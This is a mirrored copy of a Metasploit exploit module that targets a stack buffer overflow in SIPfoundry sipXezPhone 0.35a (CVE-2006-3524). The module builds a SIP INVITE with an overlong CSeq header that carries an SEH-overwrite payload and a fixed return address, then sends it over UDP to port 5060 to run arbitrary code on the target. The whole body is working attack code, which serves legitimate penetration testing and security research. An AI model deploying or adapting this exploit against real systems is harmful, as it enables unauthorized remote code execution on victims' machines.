CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/sip/sipxezphone_cseq.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Udp
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'SIPfoundry sipXezPhone 0.35a CSeq Field Overflow',
15
'Description' => %q{
16
This module exploits a buffer overflow in SIPfoundry's
17
sipXezPhone version 0.35a. By sending an long CSeq header,
18
a remote attacker could overflow a buffer and execute
19
arbitrary code on the system with the privileges of
20
the affected application.
21
},
22
'Author' => 'MC',
23
'References' =>
24
[
25
['CVE', '2006-3524'],
26
['OSVDB', '27122'],
27
['BID', '18906'],
28
],
29
'DefaultOptions' =>
30
{
31
'EXITFUNC' => 'process',
32
},
33
'Payload' =>
34
{
35
'Space' => 400,
36
'BadChars' => "\x00\x0a\x20\x09\x0d",
37
'StackAdjustment' => -3500,
38
},
39
'Platform' => 'win',
40
41
'Targets' =>
42
[
43
['sipXezPhone 0.35a Universal', { 'Ret' => 0x1008e853 } ],
44
],
45
46
'Privileged' => false,
47
48
'DisclosureDate' => '2006-07-10',
49
50
'DefaultTarget' => 0))
51
52
register_options(
53
[
54
Opt::RPORT(5060)
55
])
56
end
57
58
def exploit
59
connect_udp
60
61
print_status("Trying target #{target.name}...")
62
63
user = rand_text_english(2, payload_badchars)
64
port = rand(65535).to_s
65
filler = rand_text_english(260, payload_badchars)
66
seh = generate_seh_payload(target.ret)
67
filler[252, seh.length] = seh
68
69
sploit = "INVITE sip:#{user}\@127.0.0.1 SIP/2.0" + "\r\n"
70
sploit << "To: <sip:#{rhost}:#{rport}>" + "\r\n"
71
sploit << "Via: SIP/2.0/UDP #{rhost}:#{port}" + "\r\n"
72
sploit << "From: \"#{user}\"<sip:#{rhost}:#{port}>" + "\r\n"
73
sploit << "Call-ID: #{(rand(100)+100)}#{rhost}" + "\r\n"
74
sploit << "CSeq: " + filler + "\r\n"
75
sploit << "Max-Forwards: 20" + "\r\n"
76
sploit << "Contact: <sip:127.0.0.1:#{port}>" + "\r\n\r\n"
77
78
udp_sock.put(sploit)
79
80
handler
81
disconnect_udp
82
end
83
end
84
85